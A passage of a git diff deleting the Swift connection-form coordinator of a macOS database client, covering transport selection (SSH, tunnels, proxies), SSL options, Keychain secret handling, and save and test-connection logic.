network.sshForwardUnixSocketPath = "" - } - cloudflareTunnel.state.enabled = newValue == .cloudflare - cloudSQLProxy.state.enabled = newValue == .cloudSQLProxy - socksProxy.state.enabled = newValue == .socksProxy - tunnelCommand.state.enabled = newValue == .tunnelCommand - testResult = nil - } - } - - /// Direct first, then whatever this driver can reach a server through. - /// - /// `.ssh` and `.remoteFile` are the same SSH server carrying different cargo, and both are - /// stored in `ssh.state`, so only one of them can be offered: the getter decides which by - /// capability, and offering both would let the picker select `.ssh` and read back `.remoteFile`. - /// - /// A port forward is offered only where the driver dials it, the rule `enabledTunnelKinds` - /// applies at connect: DuckDB offers one in Remote and none in Local File. - var availableTransports: [ConnectionTunnelKind?] { - guard !network.usesLocalSocket else { return [nil] } - var transports: [ConnectionTunnelKind?] = [nil] - let forwards = dialsForwardedEndpoint - if supportsRemoteDatabaseFile { - transports.append(.remoteFile) - } else if forwards, services.pluginManager.supportsSSH(for: network.type) { - transports.append(.ssh) - } - guard forwards else { return transports } - if services.pluginManager.supportsCloudflareTunnel(for: network.type) { - transports.append(.cloudflare) - } - if network.type.supportsCloudSQLProxy { - transports.append(.cloudSQLProxy) - } - if services.pluginManager.supportsSOCKSProxy(for: network.type) { - transports.append(.socksProxy) - } - if services.pluginManager.supportsTunnelCommand(for: network.type) { - transports.append(.tunnelCommand) - } - return transports - } - - // No tunnel reaches a socket file on this Mac, so Socket clears the transport in the same edit. - func selectEndpoint(_ endpoint: NetworkPaneViewModel.Endpoint) { - guard endpoint != network.endpoint else { return } - network.endpoint = endpoint - if network.usesLocalSocket { - transport = nil - } - testResult = nil - } - - private var dialsForwardedEndpoint: Bool { - PluginMetadataRegistry.shared.snapshot(for: network.type)? - .dialsForwardedEndpoint(forValues: allAdditionalFieldValues) ?? true - } - - var supportsRemoteDatabaseFile: Bool { - services.pluginManager.supportsRemoteDatabaseFile(for: network.type) - } - - /// Whether the current type can run its statements on the server, which is what decides if the - /// Open pop-up appears beside the remote path. A type that only fetches a copy never shows it, - /// and its access stays the copy. - var supportsRemoteDatabaseSession: Bool { - services.pluginManager.supportsRemoteDatabaseSession(for: network.type) - } - - var supportsSSL: Bool { - services.pluginManager.supportsSSL(for: network.type) - } - - var showsSSL: Bool { - supportsSSL && !network.localSocketSkipsTLS - } - - internal var tunnelCommandPreview: String? { - let endpoint = buildEdits().applied(to: DatabaseConnection(name: "")).tunnelForwardEndpoint - return TunnelCommandBuilder.previewCommand( - for: tunnelCommand.state.buildConfig(), - remoteHost: endpoint.host, - remotePort: endpoint.port - ) - } - - /// Collapses whatever the stored connection carries onto a single transport. - /// - /// Assigning through the setter is what does the work: a connection saved by an older build - /// with two transports enabled keeps the first and loses the rest, which is a repair, because - /// the connect path was reaching that database directly. A transport the current type no - /// longer offers falls back to direct, or a MySQL connection changed to SQLite would keep a - /// Cloudflare tunnel nothing in the form can see or switch off. - func normalizeTransport() { - let current = transport - transport = availableTransports.contains(current) ? current : nil - } - - /// The Network disclosure opens on load when the connection already carries a transport or an - /// SSL choice the user made, so editing an SSH or TLS connection never hides the thing being - /// edited. A type default (every Postgres requires TLS) is not user config, so it stays closed. - var networkIsConfigured: Bool { - transport != nil - || ssl.origin != .typeDefault - || !ssl.caCertPath.isEmpty - || !ssl.clientCertPath.isEmpty - || !ssl.clientKeyPath.isEmpty - } - - var networkHasIssue: Bool { - !ConnectionFormTab.network.validationIssues(for: self).isEmpty - } - - /// One line under the collapsed Network header: the transport, and SSL when it is on. - var networkSummary: String { - let base = transport?.displayName ?? ConnectionTunnelKind.directDisplayName - guard showsSSL, ssl.mode != .disabled else { return base } - return String(format: String(localized: "%@ · SSL"), base) - } - - var appearanceIsCustomized: Bool { - customization.color != .none - || customization.iconName != nil - || !customization.tagIds.isEmpty - || customization.groupId != nil - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator.swift b/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator.swift deleted file mode 100644 index 52aad1b9f6..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator.swift +++ /dev/null @@ -1,1170 +0,0 @@ -// -// ConnectionFormCoordinator.swift -// TablePro -// - -import AppKit -import Combine -import os -import SwiftUI -import TableProConnectionLibrary -import TableProPluginKit -import TableProRedisCore -import TableProSSHConfig -import TableProSSHTransport -import TableProSyncTransport - -@MainActor -final class WeakCoordinatorRef { - weak var value: ConnectionFormCoordinator? - - init(_ value: ConnectionFormCoordinator? = nil) { - self.value = value - } -} - -@MainActor -final class ConnectionFormCoordinator: ObservableObject { - nonisolated private static let logger = Logger(subsystem: "com.TablePro", category: "ConnectionFormCoordinator") - - let connectionId: UUID? - @Published private(set) var originalConnection: DatabaseConnection? - - @Published var network: NetworkPaneViewModel - @Published var auth: AuthPaneViewModel - @Published var ssh: SSHPaneViewModel - @Published var remoteFile: RemoteFilePaneViewModel - @Published var cloudflareTunnel: CloudflareTunnelPaneViewModel - @Published var cloudSQLProxy: CloudSQLProxyPaneViewModel - @Published var socksProxy: SOCKSProxyPaneViewModel - @Published var tunnelCommand: TunnelCommandPaneViewModel - @Published var ssl: SSLPaneViewModel - @Published var customization: CustomizationPaneViewModel - @Published var advanced: AdvancedPaneViewModel - @Published var aiRules: AIRulesPaneViewModel - @Published var maskingRules: MaskingRulesPaneViewModel - - @Published var selectedTab: ConnectionFormTab = .general - @Published var hasLoadedData: Bool = false - - /// An edit was asked for a connection that is not in the library: deleted in another window or - /// on another device, or a record this build cannot decode. The form shows this instead of a - /// blank editable copy that only errors once the user clicks Save. - @Published private(set) var isRecordMissing: Bool = false - - @Published var isTesting: Bool = false - /// The last Test Connection that reached the server, with the warning the login brought back. A new test, a - /// type change and a transport change clear it. - @Published var testResult: ConnectionTestResult? - var testSucceeded: Bool { testResult?.succeeded == true } - @Published var testTask: Task? - - @Published var pluginInstallConnection: DatabaseConnection? - @Published var pluginDiagnostic: PluginDiagnosticItem? - - // A connection that syncs today and is saved Local only has its secrets taken off iCloud Keychain. - var removesSyncedSecretsOnSave: Bool { - advanced.localOnly && originalConnection?.participatesInSync == true - } - - @Published var saveError: String? - - @Published var isChoosingType: Bool = false - - - @Published private var temporaryTestIds: Set = [] - - // Filled by the reads that prefill the form: a field left empty because its secret could not be read is not a cleared one. - private var unreadableSecretKeys: Set = [] - // What those reads found. A save leaves a secret the user did not change as it is in the Keychain. - private var loadedSecrets: [String: String] = [:] - - private var childChangeForwarding: AnyCancellable? - - let services: AppServices - var storage: ConnectionStorage { services.connectionStorage } - @Published var dismissAction: (() -> Void)? - - var isNew: Bool { connectionId == nil } - - /// Filtered from `allCases` rather than assembled by hand, so the compiler makes every case - /// answer the visibility question. A tab left out of a hand-written list would vanish from the - /// picker *and* have its issues dropped from `validationIssues`, which is a disabled Save with - /// nothing to fix. - var visibleTabs: [ConnectionFormTab] { - ConnectionFormTab.allCases.filter { isVisible($0) } - } - - private func isVisible(_ tab: ConnectionFormTab) -> Bool { - switch tab { - case .general, .options, .appearance: - return true - case .network: - return availableTransports.count > 1 || supportsSSL - } - } - - /// Whether the transport and encryption section are worth showing: more than Direct is on offer, - /// or the engine can do TLS. A plain file-based connection shows neither. - var showsNetworkFacet: Bool { isVisible(.network) } - - /// Every issue the form knows about, tab by tab, in tab order. - /// - /// `isFormValid` reads this rather than repeating the list, so a validation rule cannot - /// disable Save while no tab claims it and leave the user with nothing to fix. - var validationIssues: [String] { - visibleTabs.flatMap { $0.validationIssues(for: self) } - } - - var isFormValid: Bool { validationIssues.isEmpty } - - var firstTabWithIssue: ConnectionFormTab? { - visibleTabs.first { !$0.validationIssues(for: self).isEmpty } - } - - /// Whether a validation issue lives in the Advanced area, which is hidden behind a disclosure. - /// The form reveals that disclosure so Save is never blocked by a control the user cannot reach. - var optionsHasIssue: Bool { - !ConnectionFormTab.options.validationIssues(for: self).isEmpty - } - - private let pendingInitialType: DatabaseType? - private let pendingInitialParsedURL: ParsedConnectionURL? - - init( - connectionId: UUID?, - initialType: DatabaseType? = nil, - initialParsedURL: ParsedConnectionURL? = nil, - services: AppServices = .live - ) { - self.connectionId = connectionId - self.pendingInitialType = initialType - self.pendingInitialParsedURL = initialParsedURL - self.services = services - self.network = NetworkPaneViewModel() - self.auth = AuthPaneViewModel() - self.ssh = SSHPaneViewModel() - self.remoteFile = RemoteFilePaneViewModel() - self.cloudflareTunnel = CloudflareTunnelPaneViewModel() - self.cloudSQLProxy = CloudSQLProxyPaneViewModel() - self.socksProxy = SOCKSProxyPaneViewModel() - self.tunnelCommand = TunnelCommandPaneViewModel() - self.ssl = SSLPaneViewModel() - self.customization = CustomizationPaneViewModel() - self.advanced = AdvancedPaneViewModel() - self.aiRules = AIRulesPaneViewModel() - self.maskingRules = MaskingRulesPaneViewModel() - - let ref = WeakCoordinatorRef(self) - network.coordinator = ref - auth.coordinator = ref - ssh.coordinator = ref - remoteFile.coordinator = ref - cloudflareTunnel.coordinator = ref - cloudSQLProxy.coordinator = ref - socksProxy.coordinator = ref - tunnelCommand.coordinator = ref - ssl.coordinator = ref - customization.coordinator = ref - advanced.coordinator = ref - aiRules.coordinator = ref - maskingRules.coordinator = ref - - childChangeForwarding = forwardChildChanges() - } - - /// Every pane observes this coordinator and reads its values through a child, as in - /// `coordinator.network.type`. `@Published` on a child only fires when the reference is - /// replaced, never when a value inside it changes, so without this a pane stayed as it was - /// drawn: picking Sentinel left the Redis mode picker on Standalone with the host field still - /// showing. The send is synchronous because SwiftUI needs `objectWillChange` before the value - /// lands, and `switchToLatest` moves the subscription to a replacement child. - private func forwardChildChanges() -> AnyCancellable { - Publishers.MergeMany([ - Self.changes(of: $network), - Self.changes(of: $auth), - Self.changes(of: $ssh), - Self.changes(of: $remoteFile), - Self.changes(of: $cloudflareTunnel), - Self.changes(of: $cloudSQLProxy), - Self.changes(of: $socksProxy), - Self.changes(of: $tunnelCommand), - Self.changes(of: $ssl), - Self.changes(of: $customization), - Self.changes(of: $advanced), - Self.changes(of: $aiRules), - Self.changes(of: $maskingRules), - ]) - .sink { [weak self] in self?.objectWillChange.send() } - } - - private static func changes( - of child: Published.Publisher - ) -> AnyPublisher where Child.ObjectWillChangePublisher == ObservableObjectPublisher { - child.map(\.objectWillChange).switchToLatest().eraseToAnyPublisher() - } - - /// Performs the one-time side-effecting setup: applying initial type - /// defaults, loading the existing connection from storage, and overlaying - /// any parsed URL the form was opened with. Idempotent. - func start() { - guard !hasLoadedData else { return } - - let resolvedInitialType = pendingInitialParsedURL?.type ?? pendingInitialType - if let resolvedInitialType { - network.type = resolvedInitialType - network.port = String(resolvedInitialType.defaultPort) - applyTypeDefaults(resolvedInitialType, includeNetwork: true) - } - - loadInitialData() - - if let parsed = pendingInitialParsedURL { - applyParsed(parsed) - } - - /// After the URL too, not only after a stored connection: a URL naming an SSH server for a - /// driver that cannot tunnel would otherwise leave a transport enabled that no tab offers - /// and no validation counts. - normalizeTransport() - } - - // MARK: - Lifecycle - - private func loadInitialData() { - Self.logger.debug( - "[trace] load connectionId=\(self.connectionId?.uuidString ?? "nil", privacy: .public) isNew=\(self.isNew)" - ) - ssh.loadProfiles() - ssh.loadSSHConfig() - /// A new connection has no stored record to load from, and its picker still has to offer - /// every profile. - auth.loadCredentialProfiles() - if let id = connectionId, - let existing = storage.loadConnections().first(where: { $0.id == id }) - { - Self.logger.debug( - "[trace] load found existing id=\(existing.id.uuidString, privacy: .public) name='\(existing.name, privacy: .private(mask: .hash))' promptForPassword=\(existing.promptForPassword)" - ) - originalConnection = existing - let reads = storage.recordingSecretReads { - network.load(from: existing) - auth.load(from: existing, storage: storage) - ssh.load(from: existing, storage: storage) - cloudflareTunnel.load(from: existing, storage: storage) - cloudSQLProxy.load(from: existing, storage: storage) - socksProxy.load(from: existing, storage: storage) - tunnelCommand.load(from: existing) - ssl.load(from: existing) - customization.load(from: existing) - advanced.load(from: existing) - aiRules.load(from: existing) - maskingRules.load(from: existing) - } - unreadableSecretKeys = reads.unreadable - loadedSecrets = reads.loaded - normalizeTransport() - } - if connectionId != nil, originalConnection == nil, !storage.isLibraryUnreadable { - isRecordMissing = true - } - hasLoadedData = true - } - - func cancel() { - dismissAction?() - } - - /// Closing the window mid-test must reap the test's staged Keychain secrets: `test()` writes - /// them under a throwaway id and only its own completion deletes them, so a close that - /// deallocates the coordinator while the task is in flight would orphan them forever. - func teardownOnClose() { - testTask?.cancel() - testTask = nil - isTesting = false - for id in Array(temporaryTestIds) { - cleanupTestSecrets(for: id) - } - } - - func deleteCurrent() { - guard let id = connectionId, - let connection = storage.loadConnections().first(where: { $0.id == id }) else { return } - storage.deleteConnection(connection) - dismissAction?() - services.appEvents.connectionUpdated.send(connection.id) - } - - // MARK: - Type change - - /// Retypes the connection in place. `NetworkPaneViewModel.setType` had no caller, so picking - /// the wrong database meant cancelling the window and starting the form again. - func changeType(to newType: DatabaseType) { - isChoosingType = false - network.setType(newType) - } - - func didChangeType(_ newType: DatabaseType) { - testResult = nil - if hasLoadedData { - applyTypeDefaults(newType, includeNetwork: true) - auth.resetForType(newType) - advanced.resetForType(newType) - } - // Not normalizeTransport(): a kept MySQL port forward would silently become SQLite's read-only file copy. - transport = nil - if !visibleTabs.contains(selectedTab) { - selectedTab = .general - } - } - - func didChangePort() { - guard hasLoadedData else { return } - ssl.reconcile(port: network.resolvedPort, type: network.type) - } - - private func applyTypeDefaults(_ newType: DatabaseType, includeNetwork: Bool) { - if includeNetwork { - network.applyTypeDefaults(forNewType: newType) - } - ssl.resetForType(newType) - } - - // MARK: - Save - - func save() { - saveConnection(connect: false) - } - - /// The window's default action. A new connection is opened once it is stored; an existing one - /// is only saved, because the window it is already open in is the one the user came from. - func commit() { - saveConnection(connect: isNew) - } - - func buildEdits() -> ConnectionFormEdits { - var fields: [String: String] = [:] - network.write(into: &fields) - auth.write(into: &fields) - advanced.write(into: &fields) - - var resolvedHost = network.resolvedHost - var resolvedPort = network.resolvedLocalSocketEndpoint?.port ?? network.resolvedPort - - // An empty list means what its placeholder shows, never the Host it hid. - if let hostList = PluginManager.shared.additionalConnectionFields(for: network.type).endpointHostList { - let type = network.type - let endpoints = HostListEndpoint.parseList(fields[hostList.id] ?? "", defaultPort: type.defaultPort) - fields[hostList.id] = endpoints.map(\.entry).joined(separator: ",") - let primary = endpoints.first ?? HostListEndpoint(host: type.defaultHost ?? "localhost", port: type.defaultPort) - resolvedHost = primary.host - resolvedPort = primary.port - } - - for (key, script) in [ - ("preConnectScript", advanced.preConnectScript), - (DatabaseConnection.postDisconnectScriptKey, advanced.postDisconnectScript) - ] { - if script.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty { - fields.removeValue(forKey: key) - } else { - fields[key] = script - } - } - if let timeout = advanced.scriptTimeoutSeconds, - ConnectionScriptRunner.timeoutSecondsRange.contains(timeout) { - fields[DatabaseConnection.scriptTimeoutSecondsKey] = String(timeout) - } else { - fields.removeValue(forKey: DatabaseConnection.scriptTimeoutSecondsKey) - } - if customization.environment == .none { - fields.removeValue(forKey: ConnectionEnvironment.fieldKey) - } else { - fields[ConnectionEnvironment.fieldKey] = customization.environment.rawValue - } - - return ConnectionFormEdits( - name: network.name, - host: resolvedHost, - port: resolvedPort, - database: network.database, - username: auth.selectedCredentialProfile?.username ?? auth.resolvedUsername, - type: network.type, - sshConfig: ssh.state.buildSSHConfig(), - sslConfig: ssl.buildConfig(), - color: customization.color, - iconName: customization.iconName, - tagIds: customization.tagIds, - groupId: customization.groupId, - sshProfileId: ssh.state.enabled ? ssh.state.profileId : nil, - sshTunnelMode: ssh.state.buildTunnelMode(), - credentialMode: auth.credentialMode, - cloudflareTunnelMode: cloudflareTunnel.state.buildTunnelMode(), - cloudSQLProxyMode: cloudSQLProxy.state.buildTunnelMode(), - socksProxyMode: socksProxy.state.buildTunnelMode(), - tunnelCommandMode: tunnelCommand.state.buildTunnelMode(), - safeModeLevel: customization.safeModeLevel, - aiPolicy: advanced.aiPolicy, - aiRules: aiRules.trimmedRules, - externalAccess: advanced.externalAccess, - connectTimeoutSeconds: customization.connectTimeoutSeconds, - queryTimeoutSeconds: customization.queryTimeoutSeconds, - binaryInlineLimitKilobytes: customization.binaryInlineLimitKilobytes, - completionIdentifierCase: customization.completionIdentifierCase, - commitMode: customization.commitMode, - redisDatabase: advanced.additionalFieldValues[RedisDatabaseIndex.fieldName].map { - RedisDatabaseIndex.parse($0) ?? 0 - }, - startupCommands: advanced.startupCommands.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty - ? nil : advanced.startupCommands, - localOnly: advanced.localOnly, - additionalFields: fields, - ownedAdditionalFieldIDs: ownedAdditionalFieldIDs(), - maskingRules: maskingRules.savedRules, - revokedAIAlwaysAllowedTools: advanced.revokedAIAlwaysAllowedTools - ) - } - - /// The secure fields of the type being saved **and** of the type the connection started as. - /// - /// Retyping used to be impossible, so a save only ever had one type's secure fields to write. - /// Now that Change… exists, a SQL Server connection retyped to MySQL would leave its Kerberos - /// password in the Keychain under the same connection id, invisible to the form that owns it. - /// This mirrors what `ownedAdditionalFieldIDs()` already does for the plain fields. - internal func secureFieldsOwnedByForm() -> [ConnectionField] { - Self.secureFieldsOwnedByForm( - currentType: network.type, - originalType: originalConnection?.type, - pluginManager: services.pluginManager - ) - } - - internal static func secureFieldsOwnedByForm( - currentType: DatabaseType, - originalType: DatabaseType?, - pluginManager: PluginManager - ) -> [ConnectionField] { - var fields = pluginManager.additionalConnectionFields(for: currentType).filter(\.isSecure) - guard let originalType, originalType != currentType else { return fields } - let known = Set(fields.map(\.id)) - fields += pluginManager.additionalConnectionFields(for: originalType) - .filter { $0.isSecure && !known.contains($0.id) } - return fields - } - - private func ownedAdditionalFieldIDs() -> Set { - var ids = ConnectionFormEdits.appManagedAdditionalFieldIDs - for field in services.pluginManager.additionalConnectionFields(for: network.type) { - ids.insert(field.id) - } - guard let originalType = originalConnection?.type, originalType != network.type else { - return ids - } - for field in services.pluginManager.additionalConnectionFields(for: originalType) { - ids.insert(field.id) - } - return ids - } - - private func baseConnection(id: UUID) -> DatabaseConnection { - guard let original = originalConnection, original.id == id else { - return DatabaseConnection(id: id, name: "") - } - return storage.loadConnection(id: id) ?? original - } - - private func saveConnection(connect: Bool) { - guard !storage.isLibraryUnreadable else { - saveError = Self.unreadableLibraryMessage - return - } - let finalId = connectionId ?? UUID() - - /// A field value can take the transports away in the same edit, as DuckDB's Connection Type - /// does, and a hidden one would still be saved, named in the connection list and synced. - normalizeTransport() - var edits = buildEdits() - edits.additionalFields["promptForPassword"] = auth.effectivePromptForPassword ? "true" : nil - - var secureFieldValues: [(fieldId: String, value: String)] = [] - for field in secureFieldsOwnedByForm() { - secureFieldValues.append((field.id, edits.additionalFields.removeValue(forKey: field.id) ?? "")) - } - // An installed plugin older than the field still must not leave the token in the record. - let sessionTokenId = ConnectionSecretOptions.mongoSessionTokenFieldId - let sessionToken = edits.additionalFields.removeValue(forKey: sessionTokenId) ?? "" - - var connectionToSave = edits.applied(to: baseConnection(id: finalId)) - - /// Removing a secret cannot be undone, so a clear waits until the connection record it - /// belongs to is on disk. Running it first and then failing the write leaves the old - /// connection in place with nothing left to authenticate it. - var clearedSecrets: [() -> Void] = [] - - let stagedSecrets = storage.stagingSecretEdits( - for: finalId, - deviceOnly: !connectionToSave.participatesInSync, - keeping: unreadableSecretKeys, - unchanged: loadedSecrets - ) { - for field in secureFieldValues { - if field.value.isEmpty { - storage.deletePluginSecureField(fieldId: field.fieldId, for: finalId) - } else { - storage.savePluginSecureField(field.value, fieldId: field.fieldId, for: finalId) - } - } - if !sessionToken.isEmpty { - storage.savePluginSecureField(sessionToken, fieldId: sessionTokenId, for: finalId) - } - - /// A linked connection holds no secret of its own. That is the whole point: the password - /// exists once, under the profile, so rotating it is one edit rather than one per - /// connection. Any secret the connection had before the link goes with it, or an encrypted - /// export still carries it and a duplicate still copies it. - if auth.usesCredentialProfile { - clearedSecrets.append { self.storage.deletePassword(for: finalId) } - /// The secure-field loop above wrote the form's values back under the connection id. - /// Anything the profile owns has to go with the password, or the connection keeps a - /// second stale copy that a duplicate carries and the driver can fall back to. - for fieldId in auth.selectedCredentialProfile?.secureFieldIds ?? [] { - clearedSecrets.append { self.storage.deletePluginSecureField(fieldId: fieldId, for: finalId) } - } - } else if auth.effectivePromptForPassword || auth.clearsStoredPassword { - clearedSecrets.append { self.storage.deletePassword(for: finalId) } - } else if !auth.password.isEmpty { - storage.savePassword(auth.password, for: finalId) - } - - if ssh.state.enabled && ssh.state.profileId == nil { - if (ssh.state.authMethod == .password || ssh.state.authMethod == .keyboardInteractive) - && !ssh.state.password.isEmpty - { - storage.saveSSHPassword(ssh.state.password, for: finalId) - } else if ssh.state.clearsStoredPassword { - clearedSecrets.append { self.storage.deleteSSHPassword(for: finalId) } - } - if ssh.state.authMethod == .privateKey && !ssh.state.keyPassphrase.isEmpty { - storage.saveKeyPassphrase(ssh.state.keyPassphrase, for: finalId) - } else if ssh.state.clearsStoredKeyPassphrase { - clearedSecrets.append { self.storage.deleteKeyPassphrase(for: finalId) } - } - if ssh.state.totpMode == .autoGenerate && !ssh.state.totpSecret.isEmpty { - storage.saveTOTPSecret(ssh.state.totpSecret, for: finalId) - } else { - storage.deleteTOTPSecret(for: finalId) - } - } else { - storage.deleteSSHPassword(for: finalId) - storage.deleteKeyPassphrase(for: finalId) - storage.deleteTOTPSecret(for: finalId) - } - - if !ssl.clientKeyPassphrase.isEmpty && !ssl.clientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty { - storage.saveSSLClientKeyPassphrase(ssl.clientKeyPassphrase, for: finalId) - } else { - storage.deleteSSLClientKeyPassphrase(for: finalId) - } - - cloudflareTunnel.save(to: finalId, storage: storage) - cloudSQLProxy.save(to: finalId, storage: storage) - socksProxy.save(to: finalId, storage: storage) - } - // The Keychain may hold this save's values now, whether or not the record saves. - loadedSecrets = [:] - guard !stagedSecrets.writeFailed else { - saveError = String(localized: "Could not save this connection's passwords to the Keychain. Your changes were not saved.") - return - } - clearedSecrets.append { self.storage.applyStagedDeletions(stagedSecrets) } - - var savedConnections = storage.loadConnections() - if isNew { - connectionToSave.sortOrder = ConnectionStorage.nextSortOrder( - in: savedConnections, - groupId: connectionToSave.groupId - ) - savedConnections.append(connectionToSave) - guard storage.saveConnections(savedConnections) else { - saveError = saveFailureMessage - return - } - clearedSecrets.forEach { $0() } - approveSavedDefinition(connectionToSave) - if !connectionToSave.localOnly { - services.syncTracker.markDirty(.connection, id: connectionToSave.id.uuidString) - } - dismissAction?() - services.appEvents.connectionUpdated.send(connectionToSave.id) - if connect { - connectToDatabase(connectionToSave) - } - } else { - guard let index = savedConnections.firstIndex(where: { $0.id == connectionToSave.id }) else { - saveError = String(localized: "This connection was deleted on another device or window. Your changes were not saved.") - return - } - if savedConnections[index].groupId != connectionToSave.groupId { - connectionToSave.sortOrder = ConnectionStorage.nextSortOrder( - in: savedConnections, - groupId: connectionToSave.groupId - ) - } - savedConnections[index] = connectionToSave - guard storage.saveConnections(savedConnections) else { - saveError = saveFailureMessage - return - } - clearedSecrets.forEach { $0() } - approveSavedDefinition(connectionToSave) - if !connectionToSave.localOnly { - services.syncTracker.markDirty(.connection, id: connectionToSave.id.uuidString) - } - dismissAction?() - services.appEvents.connectionUpdated.send(connectionToSave.id) - } - } - - // A save here is the person's word that the environment references and this Mac's sign-in go where the form shows. - private func approveSavedDefinition(_ connection: DatabaseConnection) { - approveEditedExtensions(for: connection.id) - for store in ConnectionApprovalStore.all { - store.approve(connection) - } - } - - private static var unreadableLibraryMessage: String { - String(localized: "TablePro could not read your saved connections, so it did not save over them.") - } - - private var saveFailureMessage: String { - guard !storage.isLibraryUnreadable else { return Self.unreadableLibraryMessage } - return String(localized: "Could not save the connection. Check disk space and permissions, then try again.") - } - - func connectToDatabase(_ connection: DatabaseConnection) { - Task { - do { - try await TabRouter.shared.route(.openConnection(connection.id)) - } catch { - handleConnectError(error, connection: connection) - } - } - } - - func handleConnectError(_ error: Error, connection: DatabaseConnection) { - if error is CancellationError { - Self.logger.info("Connection attempt cancelled for \(connection.name, privacy: .private(mask: .hash))") - return - } - - if !WindowManager.shared.hasOpenWindow(for: connection.id) { - Self.logger.info( - "Connection failed after window was closed: \(error.publicLogShape, privacy: .public)") - return - } - - WindowManager.shared.closeWindow(for: connection.id) - - if case PluginError.pluginNotInstalled = error { - Self.logger.info("Plugin not installed for \(connection.type.rawValue, privacy: .public)") - WelcomeRouter.shared.routePluginInstall(connection) - return - } - - Self.logger.error("Failed to connect: \(error.publicLogShape, privacy: .public)") - WelcomeRouter.shared.routeError(error, for: connection) - } - - // MARK: - Test - - private func presentRecoverableTestFailure( - _ error: Error, - action: ConnectionRecoveryAction, - connection: DatabaseConnection, - window: NSWindow? - ) { - let info = ConnectionFailureClassifier.info(for: error) - AlertHelper.showRecoverableErrorSheet( - title: String(localized: "Connection Test Failed"), - message: [info.message, info.failureReason].compactMap { $0 }.joined(separator: "\n\n"), - recoverySuggestion: info.recoverySuggestion, - recoveryTitle: action.title, - window: window - ) { - ConnectionRecoveryPerformer.perform(action, for: connection) - } - } - - // What a password source sees for the values in the form, saved or not. - func passwordSourceContext() -> ConnectionScriptContext { - ConnectionScriptContext(connection: buildEdits().applied(to: DatabaseConnection(id: connectionId ?? UUID(), name: ""))) - } - - // The edits leave out the prompt flag and the source, which a save carries over. A test without them signs in differently from Connect. - func connectionForTest() -> DatabaseConnection { - var connection = buildEdits().applied(to: DatabaseConnection(id: UUID(), name: "")) - connection.promptForPassword = auth.effectivePromptForPassword - connection.passwordSource = auth.passwordSourceInUse - return connection - } - - func test() { - guard testTask == nil else { return } - isTesting = true - testResult = nil - let window = NSApp.keyWindow - - let testConn = connectionForTest() - temporaryTestIds.insert(testConn.id) - - let password = auth.password - /// A linked profile owns the decision, so a profile set to ask every time asks here - /// too instead of testing with an empty password. - let promptForPassword = ConnectionCredentialResolver.promptsForPassword(testConn) - let connectionType = network.type - let displayName = network.name.isEmpty ? network.host : network.name - let sshState = ssh.state - let tunnelStates = TunnelFormStates( - ssh: ssh.state, - cloudflare: cloudflareTunnel.state, - cloudSQLProxy: cloudSQLProxy.state, - socksProxy: socksProxy.state, - tunnelCommand: tunnelCommand.state - ) - let sslClientKeyPassphrase = ssl.clientKeyPassphrase - let sslClientKeyPath = ssl.clientKeyPath - let additionalFieldValues = testConn.additionalFields - - persistTestSecrets( - for: testConn.id, - password: password, - promptForPassword: promptForPassword, - tunnelStates: tunnelStates, - sslClientKeyPassphrase: sslClientKeyPassphrase, - sslClientKeyPath: sslClientKeyPath, - connectionType: connectionType, - additionalFieldValues: additionalFieldValues - ) - - testTask = Task { [weak self, services] in - guard await self?.authorizeExtensionsForTest(testConnectionId: testConn.id) == true else { - await MainActor.run { - self?.cleanupTestSecrets(for: testConn.id) - self?.isTesting = false - self?.testTask = nil - } - return - } - do { - let sshPasswordForTest = sshState.profileId == nil ? sshState.password : nil - let isApiOnly = services.pluginManager.connectionMode(for: connectionType) == .apiOnly - let testPwOverride: String? = promptForPassword - ? (password.isEmpty - ? await PasswordPromptHelper.prompt( - connectionName: displayName, - isAPIToken: isApiOnly, - window: NSApp.keyWindow - ) - : password) - : nil - - guard !promptForPassword || testPwOverride != nil else { - await MainActor.run { - self?.cleanupTestSecrets(for: testConn.id) - self?.isTesting = false - self?.testTask = nil - } - return - } - - // No sign-in consent: the person is looking at the settings Test signs in with. - let result = try await services.databaseManager.testConnection( - testConn, - sshPassword: sshPasswordForTest, - passwordOverride: testPwOverride - ) - await MainActor.run { - self?.cleanupTestSecrets(for: testConn.id) - self?.isTesting = false - self?.testTask = nil - if result.succeeded { - self?.testResult = result - if let warning = result.warning { - AccessibilityAnnouncement.post( - String(format: String(localized: "Connected with a warning. %@"), warning) - ) - } - } else { - AlertHelper.showErrorSheet( - title: String(localized: "Connection Test Failed"), - message: String(localized: "Connection test failed"), - window: window - ) - } - } - } catch is CancellationError { - // Closing the form cancels the test: clean up its staged secrets and show nothing, - // never an error sheet on the window that is going away. - await MainActor.run { - self?.cleanupTestSecrets(for: testConn.id) - self?.isTesting = false - self?.testTask = nil - } - return - } catch { - let fields = self?.auth.additionalFieldValues ?? [:] - if let provider = ConnectionSignInRegistry.provider(for: error, fields: fields) { - await self?.offerSignIn(provider, for: error, fields: fields, testId: testConn.id, window: window) - return - } - await MainActor.run { - self?.cleanupTestSecrets(for: testConn.id) - self?.isTesting = false - self?.testResult = nil - self?.testTask = nil - if case PluginError.pluginNotInstalled = error { - self?.pluginInstallConnection = testConn - } else if let item = PluginDiagnosticItem.classify( - error: error, connection: testConn, username: testConn.username - ) { - self?.pluginDiagnostic = item - } else if let action = ConnectionFailureClassifier.recoveryAction(for: error), - action != .editConnection { - self?.presentRecoverableTestFailure(error, action: action, connection: testConn, window: window) - } else { - AlertHelper.showErrorSheet( - title: String(localized: "Connection Test Failed"), - message: SSLHandshakeError.formatted(error), - window: window - ) - } - } - } - } - } - - // The test tears down first so the sign-in sheet never covers a running one; a finished - // sign-in tests again, so the Test button reports the result in place. - private func offerSignIn( - _ provider: ConnectionSignInProvider, - for error: Error, - fields: [String: String], - testId: UUID, - window: NSWindow? - ) async { - cleanupTestSecrets(for: testId) - isTesting = false - testTask = nil - guard await ConnectionSignInPrompt.offer(provider, for: error, fields: fields, window: window) else { return } - test() - } - - private struct TunnelFormStates { - let ssh: SSHTunnelFormState - let cloudflare: CloudflareTunnelFormState - let cloudSQLProxy: CloudSQLProxyFormState - let socksProxy: SOCKSProxyFormState - let tunnelCommand: TunnelCommandFormState - } - - private func persistTestSecrets( - for testId: UUID, - password: String, - promptForPassword: Bool, - tunnelStates: TunnelFormStates, - sslClientKeyPassphrase: String, - sslClientKeyPath: 